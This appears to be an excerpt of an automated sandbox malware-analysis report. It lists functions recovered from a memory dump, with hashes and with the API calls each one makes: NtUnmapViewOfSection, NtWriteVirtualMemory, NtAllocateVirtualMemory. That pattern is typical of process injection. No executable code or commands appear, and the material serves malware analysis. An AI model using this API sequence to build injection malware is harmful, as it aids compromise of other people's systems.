Uniqueness

Uniqueness Score: -1.00%

Function 02292A5C, Relevance: 1.7, APIs: 1, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf128f72488fd3bb95829350e7fdfa6424c8870c4811d61a80199619d2b96f1
Instruction ID: 28b676b813e097a9b43cede795fa311035985bbe8cdd824ec2f771f72a940a04
Opcode Fuzzy Hash: cdf128f72488fd3bb95829350e7fdfa6424c8870c4811d61a80199619d2b96f1
Instruction Fuzzy Hash: 138133B5660346FEFF319EA0CC94BE9766ABF04344F544229FE859B188D3B994C4CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02292A8B, Relevance: 1.7, APIs: 1, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77c28c596dc2a028c2bb0ec2c2134455cebc3667d092899585e8df68eb327ff9
Instruction ID: 9c7bedee50c0bc5f107ecceafd751ae2215eec769461389659e091de7998fd54
Opcode Fuzzy Hash: 77c28c596dc2a028c2bb0ec2c2134455cebc3667d092899585e8df68eb327ff9
Instruction Fuzzy Hash: E37134B4660306FEFF319E90CC94BE9366ABF04344F544229FE859B184D3BA94C4CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02292AD8, Relevance: 1.7, APIs: 1, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05abc70463729edea73b4eb9f0c04829b4c5c54e274e170783b4b747765307e6
Instruction ID: f470e3f537f3330aa6feff684db6a5fba01107ee5e1885422c633e15f6cedeaa
Opcode Fuzzy Hash: 05abc70463729edea73b4eb9f0c04829b4c5c54e274e170783b4b747765307e6
Instruction Fuzzy Hash: A57146B4660346FEFF358EA0CC95BE9766ABF04344F544229FEC59A184D3BA94C4CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02296F48, Relevance: 1.7, APIs: 1, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45594789d63050f9969f43e3a13bcb771c6d05f8aecf0e8ef491e46fd32b9915
Instruction ID: 28d7a037c862c5ba7c3cbdc0b9388ab2ebb339de0665da09684932755366ff08
Opcode Fuzzy Hash: 45594789d63050f9969f43e3a13bcb771c6d05f8aecf0e8ef491e46fd32b9915
Instruction Fuzzy Hash: 04614EF1A397C75DEF2296F08550375AFD1BB02264F0C4B4FCD96960ADD3A48185C346

Uniqueness

Uniqueness Score: -1.00%

Function 02292B32, Relevance: 1.7, APIs: 1, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3f4f6d4e2c27622680965f947c1a09be79ef117197bef7a4ea1d0b2a13d5e80
Instruction ID: f9732ed3c0cb8de88b42183e465e09d24877c78b323e48ac767b72fbe6aa9ae0
Opcode Fuzzy Hash: a3f4f6d4e2c27622680965f947c1a09be79ef117197bef7a4ea1d0b2a13d5e80
Instruction Fuzzy Hash: D95113B4660345FEFF359EA0CC94BE9366ABF04744F544229FEC59A184C3BA98C4CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02292B6F, Relevance: 1.7, APIs: 1, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99ca31a45d7e15b26afa472baca659aa23745903e0f90bed856eabcaa97a684
Instruction ID: 360f2eb610890846765763b53b295a7ce5accaa83da78e21fcb918d4a6fe70a6
Opcode Fuzzy Hash: e99ca31a45d7e15b26afa472baca659aa23745903e0f90bed856eabcaa97a684
Instruction Fuzzy Hash: C35123B8660345FEFF359E90CC94BE9366ABF04744F54422AFEC59A184C3B698C4CB41

Uniqueness

Uniqueness Score: -1.00%

Function 02296EBE, Relevance: 1.7, APIs: 1, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0a9aa511ddd5373200b3fc119af1ae87a233336e7d8614becc11c5a26d167c6
Instruction ID: 7b58dcc77b17b96bdc84fe52e07e82d55b21833c54be1f57c9592443e11a3d7c
Opcode Fuzzy Hash: c0a9aa511ddd5373200b3fc119af1ae87a233336e7d8614becc11c5a26d167c6
Instruction Fuzzy Hash: 6B517CB0A397878EEF258AF485603B0A7D1BB02264F18075FCD57D60ACD7A4C5C5C306

Uniqueness

Uniqueness Score: -1.00%

Function 02296EB1, Relevance: 1.7, APIs: 1, Instructions: 165nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 199ad5b152b3d7c80a1c37cf151cb6c99933a05512eb880fd7a715cb26b5a7dd
Instruction ID: 47728c41837b5805b5f86cfa0cf37823de99ad6a8c34a4d709fb14ae1660ec45
Opcode Fuzzy Hash: 199ad5b152b3d7c80a1c37cf151cb6c99933a05512eb880fd7a715cb26b5a7dd
Instruction Fuzzy Hash: CE51F4B1638307CEEF2599E8C5607F4A2A5AB46364F64472ACD57CA1ECE7B4C4C1CB06

Uniqueness

Uniqueness Score: -1.00%

Function 02292BD4, Relevance: 1.7, APIs: 1, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4677b053e405fb36b26cbfabb1fd4933205182a723bdbe0f1911d5c3ca169928
Instruction ID: 3c1a7af73b1065099aae1ca5af8b61021e31d374d62765bca843b0955a48a90e
Opcode Fuzzy Hash: 4677b053e405fb36b26cbfabb1fd4933205182a723bdbe0f1911d5c3ca169928
Instruction Fuzzy Hash: 215103B4660249FEEF359E90CC94BE8366ABF04344F84022AFEC596094C7BA98C0CB41

Uniqueness

Uniqueness Score: -1.00%

Function 02292C0F, Relevance: 1.7, APIs: 1, Instructions: 152nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02292DF0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 79ae90cd0f584d5f8252ac8396bc073f8142064db4e02e10879407853c1be144
Instruction ID: 8605d3a67484b945777e99cd4d24363c7abad0ea0541b2cf6ebdfe63213d7580
Opcode Fuzzy Hash: 79ae90cd0f584d5f8252ac8396bc073f8142064db4e02e10879407853c1be144
Instruction Fuzzy Hash: 6C5102B4620245FEEF359E90CCC4BE8366ABF08344F84422AFEC596094C7BA98D5CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0229700E, Relevance: 1.7, APIs: 1, Instructions: 152nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 511b84cf8e75f2a8cc1084bb4d02f1ec9ba4d2de678966ddbee30e33209fc391
Instruction ID: a9a38898db5e92691f8a3678513040e59af23c621db096501015b9c1b74ad46e
Opcode Fuzzy Hash: 511b84cf8e75f2a8cc1084bb4d02f1ec9ba4d2de678966ddbee30e33209fc391
Instruction Fuzzy Hash: 25514CF0A397C79EEF3286F045543A4EF91AB02264F0C569FCD959A0AAD3A4C1C6C747

Uniqueness

Uniqueness Score: -1.00%

Function 022971BE, Relevance: 1.6, APIs: 1, Instructions: 139nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 7378e1d69f16e54b52752141d72a0462604c7473bb9115eb37108899ec79662c
Instruction ID: bf59a8d1fea2e713afe43502a06bda051651f1994080477bc2c2d294c6fc61bf
Opcode Fuzzy Hash: 7378e1d69f16e54b52752141d72a0462604c7473bb9115eb37108899ec79662c
Instruction Fuzzy Hash: A64123F1E3A7C76EEF2392B00654351BF91BE0355870D1A8FC9D1AA42BD295818AC356

Uniqueness

Uniqueness Score: -1.00%

Function 02292C56, Relevance: 1.6, APIs: 1, Instructions: 136nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02292DF0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 9837ce8ee5626fb397ea31bcd03d5db8a54ba721cb66b6244b78e709bd20a1f6
Instruction ID: 52d0ab468061d651e22241cfc357572143a4355bb6649cb764cedbd510e6b9e5
Opcode Fuzzy Hash: 9837ce8ee5626fb397ea31bcd03d5db8a54ba721cb66b6244b78e709bd20a1f6
Instruction Fuzzy Hash: EB413AB4624385FEEF369EA0DCD4BE83A6ABF04304F89421AFEC596095C7B594D4CB41

Uniqueness

Uniqueness Score: -1.00%

Function 02296F38, Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76a1d4d62764a2fa1df70b42fdc4f4adcd8c39336ca11cc21957da0f78eb237e
Instruction ID: 67e5e961a9f7f25405f8b04233e31d8c8f1bb1f1c5b59d5ea36c7cfcfa884e2f
Opcode Fuzzy Hash: 76a1d4d62764a2fa1df70b42fdc4f4adcd8c39336ca11cc21957da0f78eb237e
Instruction Fuzzy Hash: 4041B2B1A39707CEEF254AE4C5617F4A2A5AF02374F54475ACD66CA1ECE3B4C8C1C606

Uniqueness

Uniqueness Score: -1.00%

Function 02297130, Relevance: 1.6, APIs: 1, Instructions: 127nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 68816ffe698c950822c62eb629bec477bdd480cacb365483bedd68d2cc2e0d8f
Instruction ID: 3e90bfa3260f8352920562c08a6700349671ec71f6abe78a19efb2029badd31a
Opcode Fuzzy Hash: 68816ffe698c950822c62eb629bec477bdd480cacb365483bedd68d2cc2e0d8f
Instruction Fuzzy Hash: A4415BF0A397C75FEF3286F041503A1EB51BF02664F4D5A9FCD959A06ED3A48186C706

Uniqueness

Uniqueness Score: -1.00%

Function 022970B6, Relevance: 1.6, APIs: 1, Instructions: 120nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 9eac310832ecc2105cb2042cb8bc12057e8ca829708efe65ed3f7702237f47ed
Instruction ID: bdc42e9fd54c24ec5d576585a4390109ec540f1025801ca2f90fd0d73c807e5e
Opcode Fuzzy Hash: 9eac310832ecc2105cb2042cb8bc12057e8ca829708efe65ed3f7702237f47ed
Instruction Fuzzy Hash: 174139F0B397879EDF2286A485553A0EBA1BF02264F48574FCD95CA1AAD3A484C2C706

Uniqueness

Uniqueness Score: -1.00%

Function 02296FEA, Relevance: 1.6, APIs: 1, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: f9eceab4575ab14ba896636c0932c13f65100f90691ddd7062eb3496bc082a49
Instruction ID: 572dd467c56f5335f70c805f9fc04874663f333189c4a982204fe2ecb6ceb080
Opcode Fuzzy Hash: f9eceab4575ab14ba896636c0932c13f65100f90691ddd7062eb3496bc082a49
Instruction Fuzzy Hash: A94104B0A3934BCEEF254AE4C5657E4A7A1BB02364F58471BCD56CA1ACE3A4C4C1C706

Uniqueness

Uniqueness Score: -1.00%

Function 02292CAE, Relevance: 1.6, APIs: 1, Instructions: 114nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02292DF0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: c10d3fc49f9496fee5904159f1dc73d84a10ad1636e45d02448026a33d35a256
Instruction ID: a829c0489f857f6c5904338c2a92a4323a77e63b8068604d2ffb819f9f71317b
Opcode Fuzzy Hash: c10d3fc49f9496fee5904159f1dc73d84a10ad1636e45d02448026a33d35a256
Instruction Fuzzy Hash: 684139B8620385FEEF369EA0CDD47E8366ABF08344F84421AFEC596058C7B594D4CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0229351C, Relevance: 1.6, APIs: 1, Instructions: 108memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 02293663

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 2a9f101ed3339de806d506a9e5e55b0cda6181c341b93473043faeadb58af34f
Instruction ID: 849c343cc62276ffac7f8e45fe6485a49bc707416fe08bf469db41604c5d4692
Opcode Fuzzy Hash: 2a9f101ed3339de806d506a9e5e55b0cda6181c341b93473043faeadb58af34f
Instruction Fuzzy Hash: B43159B1A253485FFF309EB48D403D93BE2DF0A3A4F48415DDE89A7294C3B54685CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02297087, Relevance: 1.6, APIs: 1, Instructions: 106nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 6f18018ebde2fbdd6b12faacda88b6710c4bc0b52611dcc5d29bc9f0e7b28d1e
Instruction ID: 02fd94590e112584a63a7e0327ff63872501b1fcd572e5e50e4a16fc07db6283
Opcode Fuzzy Hash: 6f18018ebde2fbdd6b12faacda88b6710c4bc0b52611dcc5d29bc9f0e7b28d1e
Instruction Fuzzy Hash: CA3105B0A3974BDEEF294AA4C5653A0A690BF02360F58571FCD56CA1ACD3A4C4C1C707

Uniqueness

Uniqueness Score: -1.00%

Function 0229350C, Relevance: 1.6, APIs: 1, Instructions: 105memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02295349: LoadLibraryA.KERNELBASE(?,55D89CD1,?,02290812,00000000), ref: 022954DD

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 02293663

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID:
API String ID: 2616484454-0
Opcode ID: 40917cc17636c78f628732dc993f6583663d7995bc1d70c8b6752febb03615a7
Instruction ID: b7f7c2ea694a12db441906fc7d44b71184b80f4737f9f4911366618905d451c9
Opcode Fuzzy Hash: 40917cc17636c78f628732dc993f6583663d7995bc1d70c8b6752febb03615a7
Instruction Fuzzy Hash: 833149B0A653089FFF309EA8DC413D937A2DF0A3A4F84012D9D8997298C3B58685CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02292D04, Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02292DF0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 409e1311a426272e0e0f40f6e73032306adae062b5a19c40dcf93e845fe441e8
Instruction ID: 7e627be32ee3ff7cb31974041cd9531cf8069e00ce6ae837172adb01cacfa462
Opcode Fuzzy Hash: 409e1311a426272e0e0f40f6e73032306adae062b5a19c40dcf93e845fe441e8
Instruction Fuzzy Hash: 673136B4620345FFEF2A9EA0CD907E83A6AFF08344F84421AFEC456048C7B694D5CB41

Uniqueness

Uniqueness Score: -1.00%

Function 02293554, Relevance: 1.6, APIs: 1, Instructions: 99memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 02293663

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 31c4bca9e86e5a851724b5cf0a5b98ab061dfe016f16cfc4af9539ab2f130e77
Instruction ID: 1255174629acb11b9a44004da6f6f66107828417558c14ada217185379467f21
Opcode Fuzzy Hash: 31c4bca9e86e5a851724b5cf0a5b98ab061dfe016f16cfc4af9539ab2f130e77
Instruction Fuzzy Hash: CE3149B1A253445FEF309EB48D403D93BE29F4A364F48051DDE99A7294C3B54685CB45

Uniqueness

Uniqueness Score: -1.00%

Function 022970FB, Relevance: 1.6, APIs: 1, Instructions: 95nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 41af1c7be925f7ee8f910de3a8303bd8e635b6e5c7076449598419473ad13a3e
Instruction ID: 475938952c4e0fe45f6b3fdbea000b3459dc7c190a0d5b3abbd499259a5d1d50
Opcode Fuzzy Hash: 41af1c7be925f7ee8f910de3a8303bd8e635b6e5c7076449598419473ad13a3e
Instruction Fuzzy Hash: 1B3121B0A3534BDEEF254AA485653E0A7A1BB02364F58574ACD55CE1ACD3B4C8C2CB1A

Uniqueness

Uniqueness Score: -1.00%

Function 02292D5C, Relevance: 1.6, APIs: 1, Instructions: 92nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02292DF0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 9daaf8f7850d7314f618ea4502ea0516aa2d9203bea6a8eab734572062630a35
Instruction ID: 312c40e9f15f0a8f6a298b2a3f0487b825e6c911abf8be64a3065f702b44a5ed
Opcode Fuzzy Hash: 9daaf8f7850d7314f618ea4502ea0516aa2d9203bea6a8eab734572062630a35
Instruction Fuzzy Hash: 56312574625386FFEF2A9EA0CC907E83B6AFF04304F88465AFDC486019C76694D5CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0229714E, Relevance: 1.6, APIs: 1, Instructions: 91nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: b6801d232a00c6c9555ab010ec75462d5c59ee3a7677ce60d2d53e8c09714ebb
Instruction ID: 78d4a58d0211eb0f81ed41c5e6b55c2a6e1b64417d815de50bd31d512876c910
Opcode Fuzzy Hash: b6801d232a00c6c9555ab010ec75462d5c59ee3a7677ce60d2d53e8c09714ebb
Instruction Fuzzy Hash: B83156B0A7538B8EEF318AE481653A0AB51AF02664F4C564FCD81CE169D3A4C5C6C707

Uniqueness

Uniqueness Score: -1.00%

Function 022935A6, Relevance: 1.6, APIs: 1, Instructions: 87memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 02293663

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: f1f0a6685a269c11fc5022bb4cc84bf4e549d6a78875e75ef95c1230a7daa214
Instruction ID: 486df7e9af4137efb0c1cf44cd7c38dabc0aa73c5c4a5c08bd3875b3cdb6629c
Opcode Fuzzy Hash: f1f0a6685a269c11fc5022bb4cc84bf4e549d6a78875e75ef95c1230a7daa214
Instruction Fuzzy Hash: 2121ABB0A253446FEF31DEB48D813CE3BD29F4A364F08425DDE99A72A9C3B18644CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02294174, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3403922eb451cee69755eb7824e5a07e65943d53226c150f52278dcc1a0ebe8
Instruction ID: eb9c16130eb1b6a2e139476d5d29dd35fdd959b32e3691ec8fb0a64e5ffac357
Opcode Fuzzy Hash: c3403922eb451cee69755eb7824e5a07e65943d53226c150f52278dcc1a0ebe8
Instruction Fuzzy Hash: 5221F3B1A3D7C659EF33B2F002803952F52ABA319475C464F86A57742EDB85824BCB82

Uniqueness

Uniqueness Score: -1.00%

Function 022935E0, Relevance: 1.6, APIs: 1, Instructions: 72memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 02293663

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6c9fb61fe62eb570b6ccc6664ea6e2f390a5db5cd68d6e1ba4ffce76adf6b853
Instruction ID: 271bd443e33ffca3a12d3cd6551f65bbaab3cb73f64cd88b7df4f9a42eeb7a1a
Opcode Fuzzy Hash: 6c9fb61fe62eb570b6ccc6664ea6e2f390a5db5cd68d6e1ba4ffce76adf6b853
Instruction Fuzzy Hash: AC2154B16193885FEF318EA48C803D93BA2EF0A368F08015ADE4DAB295C2B19244CB05

Uniqueness

Uniqueness Score: -1.00%

Function 02292DA7, Relevance: 1.6, APIs: 1, Instructions: 70nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02292DF0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: f0096cadd33ffc7eec2dabdd36a020543a3eaa9ed09438f10dfe92b6ad4619df
Instruction ID: e29f5e2948ab66a5aaafd6882017b80ded0c8ee64b847d14751c9131852d22da
Opcode Fuzzy Hash: f0096cadd33ffc7eec2dabdd36a020543a3eaa9ed09438f10dfe92b6ad4619df
Instruction Fuzzy Hash: B921D5B4A24285FEDF399EA0CD807E83B6AFF44344F48465AFEC482059C77694D1CB41

Uniqueness

Uniqueness Score: -1.00%

Function 022935D1, Relevance: 1.6, APIs: 1, Instructions: 67memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02295349: LoadLibraryA.KERNELBASE(?,55D89CD1,?,02290812,00000000), ref: 022954DD

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 02293663

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID:
API String ID: 2616484454-0
Opcode ID: 88ae086b7923c39b49ed1dd52828c6fd0d6d16d233c8a1fe3a5e9024d963398e
Instruction ID: 1784e892f35f823d32d6b1502a2fdc1ac1c50fd70e2d23b41e236877cb09f01b
Opcode Fuzzy Hash: 88ae086b7923c39b49ed1dd52828c6fd0d6d16d233c8a1fe3a5e9024d963398e
Instruction Fuzzy Hash: 761104716542089FEF309EA4DC817DD37E6EF4A364F404168EE1D9B398C3B19644CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0229720A, Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: ef6b1b38cd15ab09a4a8b65e31000a7e36f1e3ff13fdc890af2ed1d6c0406126
Instruction ID: 1680117249d8cb9dbea4bf6d4c8691f198583c059fbd7f659e4b0d77613face7
Opcode Fuzzy Hash: ef6b1b38cd15ab09a4a8b65e31000a7e36f1e3ff13fdc890af2ed1d6c0406126
Instruction Fuzzy Hash: 88119CB0F397C79DDF259AA485613E46721AF03264B5C0A4FDD95CF558E3A0C482C317

Uniqueness

Uniqueness Score: -1.00%

Function 02297257, Relevance: 1.6, APIs: 1, Instructions: 58nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 1827acbde66c92227d9dd6887c0baa5a89045778cd3b8fdca08c1b41fb8e7a4a
Instruction ID: fc2a597c873d1ce0ad43fa88d0dfa43e8132eaad82fee719288f1c7fda459c37
Opcode Fuzzy Hash: 1827acbde66c92227d9dd6887c0baa5a89045778cd3b8fdca08c1b41fb8e7a4a
Instruction Fuzzy Hash: 2D01B8B1F35B835DEF25A9A886513E4A711AB037A079C1B0FCE68DF158E36184C3C30A

Uniqueness

Uniqueness Score: -1.00%

Function 02293636, Relevance: 1.6, APIs: 1, Instructions: 54memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 02293663

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 7fbf31e66704d75d347f48d59da0a1631e94ef58e89239c1f118ddc7c76a9da5
Instruction ID: 0a7f39102d4df10b6943a23acb949a803cd6bc4fd1bbed22cd8829c9aa14dca8
Opcode Fuzzy Hash: 7fbf31e66704d75d347f48d59da0a1631e94ef58e89239c1f118ddc7c76a9da5
Instruction Fuzzy Hash: 93110470619384AFEF339BA48C406C93FE2EF0B354F48469AD989EB222C7358644CB05

Uniqueness

Uniqueness Score: -1.00%

Function 02297277, Relevance: 1.6, APIs: 1, Instructions: 53nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 5aaaabd4a60a45a2fff17dad1af458bbdca387be4ba25f62684fb9c8ddecbb61
Instruction ID: f28dbc14af236f11ae372018295d39aab0d2c4470b78a8006dc67361c9cbf428
Opcode Fuzzy Hash: 5aaaabd4a60a45a2fff17dad1af458bbdca387be4ba25f62684fb9c8ddecbb61
